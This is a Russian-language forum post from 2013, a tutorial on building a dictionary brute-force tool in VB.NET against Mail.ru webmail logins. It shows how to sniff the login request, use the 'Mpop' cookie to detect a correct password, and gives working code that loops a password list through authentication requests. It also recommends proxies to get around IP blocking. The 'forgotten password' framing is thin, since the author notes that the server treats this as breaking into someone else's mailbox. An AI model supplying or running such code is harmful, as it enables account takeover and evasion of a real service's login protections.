Создаём свой Brutoforce

Тема в разделе "Программирование", создана пользователем MastaDan, 16 авг 2013.

  1. Оффлайн

    MastaDan ст. рядовой

    На форуме с:
    15 авг 2013
    Сообщения:
    9
    Симпатии:
    2
    Баллы:
    2
    Пол:
    Мужской
    1) Немного истории
    Еще в начале года я начал искать информацию по написанию брутфорса в сети.
    Ее было очень мало, пришлось даже кое-что переводить с испанского =)).
    Но я не сдавался и продолжал поиски, и вот месяца два назад я во всем разобрался и написал простой однопоточный брутфорс. Но до "гигантов" типа "Brutus AET2" было далеко. Я стал искать информацию про многопоточность, и мои поиски увенчались успехом. Теперь все информация собрана и я пишу эту статью, чтобы тем кто решил написать брут не пришлось лазать по уголкам сети, собирая информацию.
    2)Теория
    В своем предыдущем рассказе, я не раз упомянул слово брутфорс. Что же это такое?
    Покажу на примере: Допустим, вы забыли свой пароль не Email (кстати, это происходит довольно часто).
    Можно попробовать восстановить пароль через контрольный вопрос или мобильный телефон, но если мобильного нет, а в контрольном вопросе написано - "Сколько зубов на правой лапе у моего кота?”.
    Что тогда делать? Правильно, пытаться подобрать пароль. Но как??? Вручную?? Конечно же нет, для этого и создан брутфорс, чтобы делать перебор за вас.
    Принцип работы простой: Указываем наш Email и подключаем список паролей. Жмем Start и идем заниматься своими делами. Когда будет подобран правильный пароль, брутфорс выведет его на экран.
    Все бы хорошо, но если у нас в словаре миллион паролей? Брут отправит миллион запросов на сервер и сервер подумает, что мы пытаемся взломать чужой ящик, и просто заблокирует наш IP адрес. Как тогда быть?
    Для этого предусмотрели прокси-сервера. Я не буду рассказывать, что это такое, так как это довольно обширная тема. Почитать про прокси можно тут. В двух словах: прокси поменяют наш IP и перебор продолжится.

    Последний пункт теории - режимы перебора.
    Их всего два: однопоточный и многопоточный.

    В однопоточном режиме брутфорс берет первый пароль и ждет ответ от сервера. Когда ответ получен - берет следующий пароль и т.д.

    В многопоточном режиме брутфорс создает множество потоков. В каждом из них происходит перебор, т. е. брутфорсу не нужно ждать ответа от сервера для продолжения. Он просто создает следующий поток и перебор продолжается.
    Пример: Вы решили скачать фильм через торрент. Вы нашли торрент файл и поставили закачку. Пока идет закачка, вы, например, зашли в Контакт и переписываетесь с друзьями. В одном потоке работает браузер, а в другом торрент усердно качает фильм, а в третьем антивирус выполняет сканирование системы и т.д
    Надеюсь, понятно объяснил.

    2)Долгожданная практика
    Пока мы напишем простой однопоточный брут (чтобы мозги не перегружать), а во второй части стать, я расскажу о создании многопоточного перебора и смене
    прокси + приведу свои части кода, которые вы можете использовать в своих проектах.
    Итак! Поехали.
    Открываем VB.NET, создаем обычный проект и делаем примерно такой дизайн:
    [​IMG]
    Теперь надо определиться с сервером и "отснифать" запросы.
    Я покажу на примере Маил.ру:
    1)Скачиваем программу HTTP Analyzer.
    С помощью нее мы посмотрим, как происходит авторизация на сервере.
    2) Запускаем Stand-Alone версию программы:3
    [​IMG]

    3) Идем на Маил.ру почту и вводим данные, но пока не входим:
    [​IMG]

    4) В HttpAnalyzer'е отщелкиваем паузу.
    Возвращаемся в Маил Почту и жмем Войти.
    Теперь обратно в сниффер. Наблюдаем следующее:
    [​IMG]
    Синим цветом выделен POST запрос на скрипт авторизации.
    URL - адрес скрипта авторизации
    Смотрим, какие данные отправляются:
    Login - Логин
    Domain - Домен
    Password - Пароль
    Saveauth - Надо ли сохранять наши данные (точно не уверен)
    Про последний параметр ничего сказать не могу, но он нам и не нужем:н =)
    Пробуем отправить запрос:
    [​IMG]
    Если все введено правильно, то попадаем на свою почту.
    Если нет, то увидим сообщение об ошибке входа.

    5) Теперь мы знаем, как происходит авторизация на сервере, но нам еще надо сравнить кукисы при правильных и неправильных данных.
    Для этого идем на вкладку Cookies. Нас интересует правая часть:
    [​IMG]
    Видим, что создаются две куки: Mpop и t.
    "Set - Cookie" - поле заголовка отправляемого на сервер.
    6) Теперь введем левые данные и проанализируем результат.
    Видим, что кукисы не создаются.
    Отлично! Теперь мы знаем как написать брутфорс:

    Для начала объявим массив, в который поместим пароли из словаря:
    Public PassList As New ArrayList
    Код для кнопки "..." (три точки):
    Dim f As New OpenFileDialog ' Создаем новый диалог октрытия файла
    If f.ShowDialog = Windows.Forms.DialogResult.OK And f.FileName <> "" Then ' Если пользователь выбрал список, то
    PassList.AddRange(IO.File.ReadAllLines(f.FileName)) ' Считываем все пароли в массив

    txtPassList.Text=f.FileName ' Выводим в текстбокс путь до файла

    End If


    Теперь код для кнопки Начать перебор:
    If txtLogin.Text <> "" Then ' Если ввели логин то
    Dim i As Integer = 0 ' Объявляем счетчик для перебора
    For i = 0 To PassList.Count - 1 ' Перебираем, пока есть пароли
    System.Threading.Thread.Sleep(1000)
    Dim Request As Net.HttpWebRequest = Net.HttpWebRequest.Create("http://win.mail.ru/cgi-bin/auth?Login=" & txtLogin.Text & "&Domain=" & Split(txtLogin.Text, "@")(1) _
    & "&Password=" & PassList(i)) ' Формируем запрос
    Dim Response As Net.HttpWebResponse
    'Метод передачи данных:
    Request.Method = "POST"
    'Запрещаем атопереходы
    Request.AllowAutoRedirect = False
    'Отправляем запрос
    Response = Request.GetResponse
    'Проверяем куки
    If Response.Headers("Set-Cookie").IndexOf("Mpop") = 0 Then ' Если кука Mpop есть, то
    MsgBox("Пароль подобран: " + PassList(i)) ' Выводим парвильный пароль
    Exit Sub ' Заканчиваем перебор
    End If
    Next
    End If

    Если что-то непонятно - напишите мне. Свои контакты оставлю ниже.

    Делаем словарь паролей типа:
    73736236
    [тут правильный пароль]
    hh28236e
    32843
    234411dsdfd

    Скопируйте и поменяйте красный текст на свой пароль.
    Подключаем все к программе:
    [​IMG]
    Жмем начать перебор.
    Если увидите окошко Пароль подобран, значит все работает.

    P.S Извините за опечатки.
    P.P.S Если что-то не понятно, то пишите. Всегда рад помочь!
     
    fferex и asdfghfdsfaasfdfasdfasdf нравится это.
  2.  

Поделиться этой страницей

Уважаемый пользователь!

Мы обнаружили, что вы блокируете показ рекламы на нашем сайте.

Просим внести его в список исключения или отключить AdBlock.

Наши материалы предоставляются БЕСПЛАТНО и единственным доходом является реклама.

Спасибо за понимание!